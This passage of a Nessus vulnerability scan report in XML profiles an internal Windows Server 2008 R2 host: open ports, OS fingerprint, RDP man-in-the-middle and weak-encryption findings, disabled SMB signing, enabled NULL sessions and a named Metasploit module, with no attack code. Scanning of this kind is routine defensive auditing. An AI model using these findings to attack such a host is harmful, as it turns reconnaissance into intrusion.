5988 cpe:/o:microsoft:windows_server_2008:r2:sp1 -&gt; Microsoft Windows Server 2008 R2 Service Pack 1
5989
5990 Following application CPE matched on the remote system :
5991
5992 cpe:/a:microsoft:iis:7.5 -&gt; Microsoft Internet Information Services (IIS) 7.5
5993 </plugin_output>
5994 </ReportItem>
5995 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="11936" pluginName="OS Identification" pluginFamily="General">
5996 <description>Using a combination of remote probes (TCP/IP, SMB, HTTP, NTP, SNMP, etc...), it is possible to guess the name of the remote operating system in use. It is also sometimes possible to guess the version of the operating system.</description>
5997 <fname>os_fingerprint.nasl</fname>
5998 <plugin_modification_date>2013/04/01</plugin_modification_date>
5999 <plugin_name>OS Identification</plugin_name>
6000 <plugin_publication_date>2003/12/09</plugin_publication_date>
6001 <plugin_type>combined</plugin_type>
6002 <risk_factor>None</risk_factor>
6003 <script_version>$Revision: 2.34 $</script_version>
6004 <solution>n/a</solution>
6005 <synopsis>It is possible to guess the remote operating system.</synopsis>
6006 <plugin_output>
6007 Remote operating system : Microsoft Windows Server 2008 R2 Standard Service Pack 1
6008 Confidence Level : 99
6009 Method : MSRPC
6010
6011
6012 The remote host is running Microsoft Windows Server 2008 R2 Standard Service Pack 1</plugin_output>
6013 </ReportItem>
6014 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="35716" pluginName="Ethernet Card Manufacturer Detection" pluginFamily="Misc.">
6015 <description>Each ethernet MAC address starts with a 24-bit &apos;Organizationally Unique Identifier&apos;.
6016 These OUI are registered by IEEE.</description>
6017 <fname>ethernet_manufacturer.nasl</fname>
6018 <plugin_modification_date>2011/03/27</plugin_modification_date>
6019 <plugin_name>Ethernet Card Manufacturer Detection</plugin_name>
6020 <plugin_publication_date>2009/02/19</plugin_publication_date>
6021 <plugin_type>combined</plugin_type>
6022 <risk_factor>None</risk_factor>
6023 <script_version>$Revision: 1.9 $</script_version>
6024 <see_also>http://standards.ieee.org/faqs/OUI.html
6025 http://standards.ieee.org/regauth/oui/index.shtml</see_also>
6026 <solution>n/a</solution>
6027 <synopsis>The manufacturer can be deduced from the Ethernet OUI.</synopsis>
6028 <plugin_output>
6029 The following card manufacturers were identified :
6030
6031 00:50:56:81:01:de : VMware, Inc.
6032 </plugin_output>
6033 </ReportItem>
6034 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="20094" pluginName="VMware Virtual Machine Detection" pluginFamily="General">
6035 <description>According to the MAC address of its network adapter, the remote host is a VMware virtual machine.
6036
6037 Since it is physically accessible through the network, ensure that its configuration matches your organization&apos;s security policy.</description>
6038 <fname>vmware_detect.nasl</fname>
6039 <plugin_modification_date>2011/03/27</plugin_modification_date>
6040 <plugin_name>VMware Virtual Machine Detection</plugin_name>
6041 <plugin_publication_date>2005/10/27</plugin_publication_date>
6042 <plugin_type>combined</plugin_type>
6043 <risk_factor>None</risk_factor>
6044 <script_version>$Revision: 1.24 $</script_version>
6045 <solution>n/a</solution>
6046 <synopsis>The remote host seems to be a VMware virtual machine.</synopsis>
6047 </ReportItem>
6048 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="2" pluginID="18405" pluginName="Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness" pluginFamily="Windows">
6049 <bid>13818</bid>
6050 <cve>CVE-2005-1794</cve>
6051 <cvss_base_score>5.1</cvss_base_score>
6052 <cvss_temporal_score>4.6</cvss_temporal_score>
6053 <cvss_temporal_vector>CVSS2#E:F/RL:W/RC:ND</cvss_temporal_vector>
6054 <cvss_vector>CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P</cvss_vector>
6055 <description>The remote version of the Remote Desktop Protocol Server (Terminal Service) is vulnerable to a man-in-the-middle (MiTM) attack. The RDP client makes no effort to validate the identity of the server when setting up encryption. An attacker with the ability to intercept traffic from the RDP server can establish encryption with the client and server without being detected. A MiTM attack of this nature would allow the attacker to obtain any sensitive information transmitted, including authentication credentials.
6056
6057 This flaw exists because the RDP server stores a hardcoded RSA private key in the mstlsapi.dll library. Any local user with access to this file (on any Windows system) can retrieve the key and use it for this attack.</description>
6058 <exploit_available>true</exploit_available>
6059 <exploitability_ease>Exploits are available</exploitability_ease>
6060 <fname>tssvc_mim.nasl</fname>
6061 <osvdb>17131</osvdb>
6062 <plugin_modification_date>2012/03/30</plugin_modification_date>
6063 <plugin_name>Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness</plugin_name>
6064 <plugin_publication_date>2005/06/01</plugin_publication_date>
6065 <plugin_type>remote</plugin_type>
6066 <risk_factor>Medium</risk_factor>
6067 <script_version>$Revision: 1.23 $</script_version>
6068 <see_also>http://www.oxid.it/downloads/rdp-gbu.pdf
6069 http://www.nessus.org/u?e2628096
6070 http://technet.microsoft.com/en-us/library/cc782610.aspx</see_also>
6071 <solution>- Force the use of SSL as a transport layer for this service if supported, or/and
6072 - Select the &apos;Allow connections only from computers running Remote Desktop with Network Level Authentication&apos; setting if it is available.</solution>
6073 <synopsis>It may be possible to get access to the remote host.</synopsis>
6074 <vuln_publication_date>2005/05/28</vuln_publication_date>
6075 <xref>OSVDB:17131</xref>
6076 </ReportItem>
6077 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="0" pluginID="66173" pluginName="RDP Screenshot" pluginFamily="General">
6078 <cpe>cpe:/o:microsoft:windows</cpe>
6079 <description>This script attempts to connect to the remote host via RDP (Remote Desktop Protocol) and attempts to take a screenshot of the login screen.
6080
6081 While this is not a vulnerability by itself, some versions of Windows display the names of the users who can connect and which ones are connected already.</description>
6082 <fname>rdp_logon_screen.nbin</fname>
6083 <plugin_modification_date>2013/05/08</plugin_modification_date>
6084 <plugin_name>RDP Screenshot</plugin_name>
6085 <plugin_publication_date>2013/04/22</plugin_publication_date>
6086 <plugin_type>remote</plugin_type>
6087 <risk_factor>None</risk_factor>
6088 <script_version>$Revision: 1.4 $</script_version>
6089 <solution>n/a</solution>
6090 <synopsis>It is possible to take a screenshot of the remote login screen.</synopsis>
6091 <plugin_output>It was possible to gather the following screenshot of the remote login screen.</plugin_output>
6092 <attachment name="ts_screenshot.jpg" type="image/bmp">293713fa5c0d44310392df3bf9c784a3</attachment>
6093 </ReportItem>
6094 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="2" pluginID="57690" pluginName="Terminal Services Encryption Level is Medium or Low" pluginFamily="Misc.">
6095 <cvss_base_score>4.3</cvss_base_score>
6096 <cvss_vector>CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N</cvss_vector>
6097 <description>The remote Terminal Services service is not configured to use strong cryptography.
6098
6099 Using weak cryptography with this service may allow an attacker to eavesdrop on the communications more easily and obtain screenshots and/or keystrokes.</description>
6100 <fname>rdp_weak_crypto.nbin</fname>
6101 <plugin_modification_date>2013/04/22</plugin_modification_date>
6102 <plugin_name>Terminal Services Encryption Level is Medium or Low</plugin_name>
6103 <plugin_publication_date>2012/01/25</plugin_publication_date>
6104 <plugin_type>remote</plugin_type>
6105 <risk_factor>Medium</risk_factor>
6106 <script_version>$Revision: 1.6 $</script_version>
6107 <solution>Change RDP encryption level to one of :
6108
6109 3. High
6110
6111 4. FIPS Compliant</solution>
6112 <synopsis>The remote host is using weak cryptography.</synopsis>
6113 <plugin_output>
6114 The terminal services encryption level is set to :
6115
6116 2. Medium</plugin_output>
6117 </ReportItem>
6118 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="1" pluginID="30218" pluginName="Terminal Services Encryption Level is not FIPS-140 Compliant" pluginFamily="Misc.">
6119 <cvss_base_score>2.6</cvss_base_score>
6120 <cvss_vector>CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N</cvss_vector>
6121 <description>The encryption setting used by the remote Terminal Services service is not FIPS-140 compliant.</description>
6122 <fname>fips_rdp.nbin</fname>
6123 <plugin_modification_date>2013/04/22</plugin_modification_date>
6124 <plugin_name>Terminal Services Encryption Level is not FIPS-140 Compliant</plugin_name>
6125 <plugin_publication_date>2008/02/11</plugin_publication_date>
6126 <plugin_type>remote</plugin_type>
6127 <risk_factor>Low</risk_factor>
6128 <script_version>$Revision: 1.9 $</script_version>
6129 <solution>Change RDP encryption level to :
6130
6131 4. FIPS Compliant</solution>
6132 <synopsis>The remote host is not FIPS-140 compliant.</synopsis>
6133 <plugin_output>
6134 The terminal services encryption level is set to :
6135
6136 2. Medium (Client Compatible)</plugin_output>
6137 </ReportItem>
6138 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="0" pluginID="10940" pluginName="Windows Terminal Services Enabled" pluginFamily="Windows">
6139 <description>Terminal Services allows a Windows user to remotely obtain a graphical login (and therefore act as a local user on the remote host).
6140
6141 If an attacker gains a valid login and password, he may be able to use this service to gain further access on the remote host. An attacker may also use this service to mount a dictionary attack against the remote host to try to log in remotely.
6142
6143 Note that RDP (the Remote Desktop Protocol) is vulnerable to Man-in-the-middle attacks, making it easy for attackers to steal the credentials of legitimate users by impersonating the Windows server.</description>
6144 <fname>windows_terminal_services.nasl</fname>
6145 <plugin_modification_date>2012/03/30</plugin_modification_date>
6146 <plugin_name>Windows Terminal Services Enabled</plugin_name>
6147 <plugin_publication_date>2002/04/20</plugin_publication_date>
6148 <plugin_type>remote</plugin_type>
6149 <risk_factor>None</risk_factor>
6150 <script_version>$Revision: 1.29 $</script_version>
6151 <solution>Disable Terminal Services if you do not use it, and do not allow this service to run across the Internet.</solution>
6152 <synopsis>The remote Windows host has Terminal Services enabled.</synopsis>
6153 </ReportItem>
6154 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="24260" pluginName="HyperText Transfer Protocol (HTTP) Information" pluginFamily="Web Servers">
6155 <description>This test gives some information about the remote HTTP protocol - the version used, whether HTTP Keep-Alive and HTTP pipelining are enabled, etc...
6156
6157 This test is informational only and does not denote any security problem.</description>
6158 <fname>http_info.nasl</fname>
6159 <plugin_modification_date>2011/05/31</plugin_modification_date>
6160 <plugin_name>HyperText Transfer Protocol (HTTP) Information</plugin_name>
6161 <plugin_publication_date>2007/01/30</plugin_publication_date>
6162 <plugin_type>remote</plugin_type>
6163 <risk_factor>None</risk_factor>
6164 <script_version>$Revision: 1.12 $</script_version>
6165 <solution>n/a</solution>
6166 <synopsis>Some information about the remote HTTP configuration can be extracted.</synopsis>
6167 <plugin_output>
6168 Protocol version : HTTP/1.1
6169 SSL : no
6170 Keep-Alive : no
6171 Options allowed : OPTIONS, TRACE, GET, HEAD, POST
6172 Headers :
6173
6174 Content-Type: text/html
6175 Last-Modified: Tue, 01 May 2012 20:47:11 GMT
6176 Accept-Ranges: bytes
6177 ETag: &quot;ca7a095db27cd1:0&quot;
6178 Server: Microsoft-IIS/7.5
6179 X-Powered-By: ASP.NET
6180 Date: Mon, 01 Jul 2013 18:37:25 GMT
6181 Content-Length: 689
6182
6183 </plugin_output>
6184 </ReportItem>
6185 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="10107" pluginName="HTTP Server Type and Version" pluginFamily="Web Servers">
6186 <description>This plugin attempts to determine the type and the version of the remote web server.</description>
6187 <fname>http_version.nasl</fname>
6188 <plugin_modification_date>2013/06/03</plugin_modification_date>
6189 <plugin_name>HTTP Server Type and Version</plugin_name>
6190 <plugin_publication_date>2000/01/04</plugin_publication_date>
6191 <plugin_type>remote</plugin_type>
6192 <risk_factor>None</risk_factor>
6193 <script_version>$Revision: 1.111 $</script_version>
6194 <solution>n/a</solution>
6195 <synopsis>A web server is running on the remote host.</synopsis>
6196 <plugin_output>The remote web server type is :
6197
6198 Microsoft-IIS/7.5</plugin_output>
6199 </ReportItem>
6200 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="43111" pluginName="HTTP Methods Allowed (per directory)" pluginFamily="Web Servers">
6201 <description>By calling the OPTIONS method, it is possible to determine which HTTP methods are allowed on each directory.
6202
6203 As this list may be incomplete, the plugin also tests - if &apos;Thorough tests&apos; are enabled or &apos;Enable web applications tests&apos; is set to &apos;yes&apos; in the scan policy - various known HTTP methods on each directory and considers them as unsupported if it receives a response code of 400, 403, 405, or 501.
6204
6205 Note that the plugin output is only informational and does not necessarily indicate the presence of any security vulnerabilities.</description>
6206 <fname>web_directory_options.nasl</fname>
6207 <plugin_modification_date>2013/05/09</plugin_modification_date>
6208 <plugin_name>HTTP Methods Allowed (per directory)</plugin_name>
6209 <plugin_publication_date>2009/12/10</plugin_publication_date>
6210 <plugin_type>remote</plugin_type>
6211 <risk_factor>None</risk_factor>
6212 <script_version>$Revision: 1.7 $</script_version>
6213 <solution>n/a</solution>
6214 <synopsis>This plugin determines which HTTP methods are allowed on various CGI directories.</synopsis>
6215 <plugin_output>Based on the response to an OPTIONS request :
6216
6217 - HTTP methods GET HEAD POST TRACE OPTIONS are allowed on :
6218
6219 /
6220
6221 </plugin_output>
6222 </ReportItem>
6223 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="2" pluginID="57608" pluginName="SMB Signing Disabled" pluginFamily="Misc.">
6224 <cpe>cpe:/o:microsoft:windows</cpe>
6225 <cvss_base_score>5.0</cvss_base_score>
6226 <cvss_vector>CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N</cvss_vector>
6227 <description>Signing is disabled on the remote SMB server. This can allow man-in-the-middle attacks against the SMB server.</description>
6228 <fname>smb_signing_disabled.nasl</fname>
6229 <plugin_modification_date>2012/03/05</plugin_modification_date>
6230 <plugin_name>SMB Signing Disabled</plugin_name>
6231 <plugin_publication_date>2012/01/19</plugin_publication_date>
6232 <plugin_type>remote</plugin_type>
6233 <risk_factor>Medium</risk_factor>
6234 <script_version>$Revision: 1.7 $</script_version>
6235 <see_also>http://support.microsoft.com/kb/887429
6236 http://www.nessus.org/u?74b80723
6237 http://www.samba.org/samba/docs/man/manpages-3/smb.conf.5.html</see_also>
6238 <solution>Enforce message signing in the host&apos;s configuration. On Windows, this is found in the Local Security Policy. On Samba, the setting is called &apos;server signing&apos;. See the &apos;see also&apos; links for further details.</solution>
6239 <synopsis>Signing is disabled on the remote SMB server.</synopsis>
6240 <vuln_publication_date>2012/01/17</vuln_publication_date>
6241 </ReportItem>
6242 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="11422" pluginName="Web Server Unconfigured - Default Install Page Present" pluginFamily="Web Servers">
6243 <description>The remote web server uses its default welcome page. It probably means that this server is not used at all or is serving content that is meant to be hidden.</description>
6244 <fname>www_default_page.nasl</fname>
6245 <osvdb>2117</osvdb>
6246 <plugin_modification_date>2011/08/12</plugin_modification_date>
6247 <plugin_name>Web Server Unconfigured - Default Install Page Present</plugin_name>
6248 <plugin_publication_date>2003/03/20</plugin_publication_date>
6249 <plugin_type>remote</plugin_type>
6250 <risk_factor>None</risk_factor>
6251 <script_version>$Revision: 1.37 $</script_version>
6252 <solution>Disable this service if you do not use it.</solution>
6253 <synopsis>The remote web server is not configured or is not properly configured.</synopsis>
6254 <vuln_publication_date>1994/01/01</vuln_publication_date>
6255 <xref>OSVDB:2117</xref>
6256 <plugin_output>
6257 The default welcome page is from IIS.
6258 </plugin_output>
6259 </ReportItem>
6260 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="22964" pluginName="Service Detection" pluginFamily="Service detection">
6261 <description>It was possible to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.</description>
6262 <fname>find_service.nasl</fname>
6263 <plugin_modification_date>2013/05/12</plugin_modification_date>
6264 <plugin_name>Service Detection</plugin_name>
6265 <plugin_publication_date>2007/08/19</plugin_publication_date>
6266 <plugin_type>remote</plugin_type>
6267 <risk_factor>None</risk_factor>
6268 <script_version>$Revision: 1.123 $</script_version>
6269 <solution>n/a</solution>
6270 <synopsis>The remote service could be identified.</synopsis>
6271 <plugin_output>A web server is running on this port.</plugin_output>
6272 </ReportItem>
6273 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="46215" pluginName="Inconsistent Hostname and IP Address" pluginFamily="Settings">
6274 <description>The name of this machine either does not resolve or resolves to a different IP address.
6275
6276 This may come from a badly configured reverse DNS or from a host file in use on the Nessus scanning host.
6277
6278 As a result, URLs in plugin output may not be directly usable in a web browser and some web tests may be incomplete.</description>
6279 <fname>bad_rdns.nasl</fname>
6280 <plugin_modification_date>2011/10/06</plugin_modification_date>
6281 <plugin_name>Inconsistent Hostname and IP Address</plugin_name>
6282 <plugin_publication_date>2010/05/03</plugin_publication_date>
6283 <plugin_type>remote</plugin_type>
6284 <risk_factor>None</risk_factor>
6285 <script_version>1.6</script_version>
6286 <solution>Fix the reverse DNS or host file.</solution>
6287 <synopsis>The remote host&apos;s hostname is not consistent with DNS information.</synopsis>
6288 <plugin_output>The host name &apos;qa3app05&apos; does not resolve to an IP address</plugin_output>
6289 </ReportItem>
6290 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="12053" pluginName="Host Fully Qualified Domain Name (FQDN) Resolution" pluginFamily="General">
6291 <description>Nessus was able to resolve the FQDN of the remote host.</description>
6292 <fname>fqdn.nasl</fname>
6293 <plugin_modification_date>2012/09/28</plugin_modification_date>
6294 <plugin_name>Host Fully Qualified Domain Name (FQDN) Resolution</plugin_name>
6295 <plugin_publication_date>2004/02/11</plugin_publication_date>
6296 <plugin_type>remote</plugin_type>
6297 <risk_factor>None</risk_factor>
6298 <script_version>$Revision: 1.12 $</script_version>
6299 <solution>n/a</solution>
6300 <synopsis>It was possible to resolve the name of the remote host.</synopsis>
6301 <plugin_output>
6302 10.31.112.25 resolves as qa3app05.
6303 </plugin_output>
6304 </ReportItem>
6305 <ReportItem port="0" svc_name="general" protocol="udp" severity="0" pluginID="10287" pluginName="Traceroute Information" pluginFamily="General">
6306 <description>Makes a traceroute to the remote host.</description>
6307 <fname>traceroute.nasl</fname>
6308 <plugin_modification_date>2013/04/11</plugin_modification_date>
6309 <plugin_name>Traceroute Information</plugin_name>
6310 <plugin_publication_date>1999/11/27</plugin_publication_date>
6311 <plugin_type>remote</plugin_type>
6312 <risk_factor>None</risk_factor>
6313 <script_version>1.62</script_version>
6314 <solution>n/a</solution>
6315 <synopsis>It was possible to obtain traceroute information.</synopsis>
6316 <plugin_output>For your information, here is the traceroute from 172.16.138.174 to 10.31.112.25 :
6317 172.16.138.174
6318 172.16.138.2
6319 10.31.112.25
6320 </plugin_output>
6321 </ReportItem>
6322 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="24786" pluginName="Nessus Windows Scan Not Performed with Admin Privileges" pluginFamily="Settings">
6323 <cpe>cpe:/o:microsoft:windows</cpe>
6324 <description>The Nessus scanner testing the remote host has been given SMB credentials to log into the remote host, however these credentials do not have administrative privileges.
6325
6326 Typically, when Nessus performs a patch audit, it logs into the remote host and reads the version of the DLLs on the remote host to determine if a given patch has been applied or not. This is the method Microsoft recommends to determine if a patch has been applied.
6327
6328 If your Nessus scanner does not have administrative privileges when doing a scan, then Nessus has to fall back to perform a patch audit through the registry which may lead to false positives (especially when using third-party patch auditing tools) or to false negatives (not all patches can be detected through the registry).</description>
6329 <fname>smb_scan_not_admin.nasl</fname>
6330 <plugin_modification_date>2013/01/07</plugin_modification_date>
6331 <plugin_name>Nessus Windows Scan Not Performed with Admin Privileges</plugin_name>
6332 <plugin_publication_date>2007/03/12</plugin_publication_date>
6333 <plugin_type>local</plugin_type>
6334 <risk_factor>None</risk_factor>
6335 <script_version>$Revision: 1.11 $</script_version>
6336 <solution>Reconfigure your scanner to use credentials with administrative privileges.</solution>
6337 <synopsis>The Nessus scan of this host may be incomplete due to insufficient privileges provided.</synopsis>
6338 <plugin_output>
6339 It was not possible to connect to &apos;\\QA3APP05\ADMIN$&apos; with the supplied credentials.
6340 </plugin_output>
6341 </ReportItem>
6342 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="26917" pluginName="Microsoft Windows SMB Registry : Nessus Cannot Access the Windows Registry" pluginFamily="Windows">
6343 <description>It was not possible to connect to PIPE\winreg on the remote host.
6344
6345 If you intend to use Nessus to perform registry-based checks, the registry checks will not work because the &apos;Remote Registry Access&apos; service (winreg) has been disabled on the remote host or can not be connected to with the supplied credentials.</description>
6346 <fname>smb_registry_fail.nasl</fname>
6347 <plugin_modification_date>2011/03/27</plugin_modification_date>
6348 <plugin_name>Microsoft Windows SMB Registry : Nessus Cannot Access the Windows Registry</plugin_name>
6349 <plugin_publication_date>2007/10/04</plugin_publication_date>
6350 <plugin_type>local</plugin_type>
6351 <risk_factor>None</risk_factor>
6352 <script_version>$Revision: 1.10 $</script_version>
6353 <solution>n/a</solution>
6354 <synopsis>Nessus is not able to access the remote Windows Registry.</synopsis>
6355 <plugin_output>Could not connect to the registry because:
6356 Could not connect to \winreg</plugin_output>
6357 </ReportItem>
6358 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
6359 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
6360 It shall be reasonably quick even against a firewalled target.
6361
6362 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
6363 <fname>nessus_syn_scanner.nbin</fname>
6364 <plugin_modification_date>2011/04/05</plugin_modification_date>
6365 <plugin_name>Nessus SYN scanner</plugin_name>
6366 <plugin_type>remote</plugin_type>
6367 <risk_factor>None</risk_factor>
6368 <script_version>$Revision: 1.14 $</script_version>
6369 <solution>Protect your target with an IP filter.</solution>
6370 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
6371 <plugin_output>Port 3389/tcp was found to be open</plugin_output>
6372 </ReportItem>
6373 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
6374 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
6375 It shall be reasonably quick even against a firewalled target.
6376
6377 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
6378 <fname>nessus_syn_scanner.nbin</fname>
6379 <plugin_modification_date>2011/04/05</plugin_modification_date>
6380 <plugin_name>Nessus SYN scanner</plugin_name>
6381 <plugin_type>remote</plugin_type>
6382 <risk_factor>None</risk_factor>
6383 <script_version>$Revision: 1.14 $</script_version>
6384 <solution>Protect your target with an IP filter.</solution>
6385 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
6386 <plugin_output>Port 445/tcp was found to be open</plugin_output>
6387 </ReportItem>
6388 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
6389 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
6390 It shall be reasonably quick even against a firewalled target.
6391
6392 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
6393 <fname>nessus_syn_scanner.nbin</fname>
6394 <plugin_modification_date>2011/04/05</plugin_modification_date>
6395 <plugin_name>Nessus SYN scanner</plugin_name>
6396 <plugin_type>remote</plugin_type>
6397 <risk_factor>None</risk_factor>
6398 <script_version>$Revision: 1.14 $</script_version>
6399 <solution>Protect your target with an IP filter.</solution>
6400 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
6401 <plugin_output>Port 80/tcp was found to be open</plugin_output>
6402 </ReportItem>
6403 <ReportItem port="135" svc_name="epmap" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
6404 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
6405 It shall be reasonably quick even against a firewalled target.
6406
6407 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
6408 <fname>nessus_syn_scanner.nbin</fname>
6409 <plugin_modification_date>2011/04/05</plugin_modification_date>
6410 <plugin_name>Nessus SYN scanner</plugin_name>
6411 <plugin_type>remote</plugin_type>
6412 <risk_factor>None</risk_factor>
6413 <script_version>$Revision: 1.14 $</script_version>
6414 <solution>Protect your target with an IP filter.</solution>
6415 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
6416 <plugin_output>Port 135/tcp was found to be open</plugin_output>
6417 </ReportItem>
6418 <ReportItem port="139" svc_name="smb" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
6419 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
6420 It shall be reasonably quick even against a firewalled target.
6421
6422 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
6423 <fname>nessus_syn_scanner.nbin</fname>
6424 <plugin_modification_date>2011/04/05</plugin_modification_date>
6425 <plugin_name>Nessus SYN scanner</plugin_name>
6426 <plugin_type>remote</plugin_type>
6427 <risk_factor>None</risk_factor>
6428 <script_version>$Revision: 1.14 $</script_version>
6429 <solution>Protect your target with an IP filter.</solution>
6430 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
6431 <plugin_output>Port 139/tcp was found to be open</plugin_output>
6432 </ReportItem>
6433 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="10394" pluginName="Microsoft Windows SMB Log In Possible" pluginFamily="Windows">
6434 <description>The remote host is running Microsoft Windows operating system or Samba, a CIFS/SMB server for Unix. It was possible to log into it using one of the following accounts :
6435
6436 - NULL session
6437 - Guest account
6438 - Given Credentials</description>
6439 <exploit_available>true</exploit_available>
6440 <exploit_framework_metasploit>true</exploit_framework_metasploit>
6441 <exploitability_ease>Exploits are available</exploitability_ease>
6442 <fname>smb_login.nasl</fname>
6443 <metasploit_name>Microsoft Windows Authenticated User Code Execution</metasploit_name>
6444 <plugin_modification_date>2013/04/23</plugin_modification_date>
6445 <plugin_name>Microsoft Windows SMB Log In Possible</plugin_name>
6446 <plugin_publication_date>2000/05/09</plugin_publication_date>
6447 <plugin_type>remote</plugin_type>
6448 <risk_factor>None</risk_factor>
6449 <script_version>$Revision: 1.136 $</script_version>
6450 <see_also>http://support.microsoft.com/kb/143474
6451 http://support.microsoft.com/kb/246261</see_also>
6452 <solution>n/a</solution>
6453 <synopsis>It is possible to log into the remote host.</synopsis>
6454 <vuln_publication_date>1999/01/01</vuln_publication_date>
6455 <plugin_output>- NULL sessions are enabled on the remote host
6456 </plugin_output>
6457 </ReportItem>
6458 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="10785" pluginName="Microsoft Windows SMB NativeLanManager Remote System Information Disclosure" pluginFamily="Windows">
6459 <description>It is possible to get the remote operating system name and version (Windows and/or Samba) by sending an authentication request to port 139 or 445.</description>
6460 <fname>smb_nativelanman.nasl</fname>
6461 <plugin_modification_date>2013/06/25</plugin_modification_date>
6462 <plugin_name>Microsoft Windows SMB NativeLanManager Remote System Information Disclosure</plugin_name>
6463 <plugin_publication_date>2001/10/17</plugin_publication_date>
6464 <plugin_type>remote</plugin_type>
6465 <risk_factor>None</risk_factor>
6466 <script_version>$Revision: 1.40 $</script_version>
6467 <solution>n/a</solution>
6468 <synopsis>It is possible to obtain information about the remote operating system.</synopsis>
6469 <plugin_output>The remote Operating System is : Windows Server 2008 R2 Standard 7601 Service Pack 1
6470 The remote native lan manager is : Windows Server 2008 R2 Standard 6.1
6471 The remote SMB Domain Name is : RB
6472 </plugin_output>
6473 </ReportItem>
6474 <ReportItem port="137" svc_name="netbios-ns" protocol="udp" severity="0" pluginID="10150" pluginName="Windows NetBIOS / SMB Remote Host Information Disclosure" pluginFamily="Windows">
6475 <description>The remote host listens on UDP port 137 or TCP port 445 and replies to NetBIOS nbtscan or SMB requests.
6476
6477 Note that this plugin gathers information to be used in other plugins but does not itself generate a report.</description>
6478 <fname>netbios_name_get.nasl</fname>
6479 <plugin_modification_date>2013/01/16</plugin_modification_date>
6480 <plugin_name>Windows NetBIOS / SMB Remote Host Information Disclosure</plugin_name>
6481 <plugin_publication_date>1999/10/12</plugin_publication_date>
6482 <plugin_type>remote</plugin_type>
6483 <risk_factor>None</risk_factor>
6484 <script_version>$Revision: 1.77 $</script_version>
6485 <solution>n/a</solution>
6486 <synopsis>It is possible to obtain the network name of the remote host.</synopsis>
6487 <plugin_output>The following 3 NetBIOS names have been gathered :
6488
6489 QA3APP05 = Computer name
6490 RB = Workgroup / Domain name
6491 QA3APP05 = File Server Service
6492
6493 The remote host has the following MAC address on its adapter :
6494
6495 00:50:56:81:01:de</plugin_output>
6496 </ReportItem>
6497 <ReportItem port="49152" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
6498 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
6499 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
6500 <fname>dcetest.nasl</fname>
6501 <plugin_modification_date>2012/01/31</plugin_modification_date>
6502 <plugin_name>DCE Services Enumeration</plugin_name>
6503 <plugin_publication_date>2001/08/26</plugin_publication_date>
6504 <plugin_type>local</plugin_type>
6505 <risk_factor>None</risk_factor>
6506 <script_version>$Revision: 1.50 $</script_version>
6507 <solution>n/a</solution>
6508 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
6509 <plugin_output>
6510 The following DCERPC services are available on TCP port 49152 :
6511
6512 Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
6513 UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
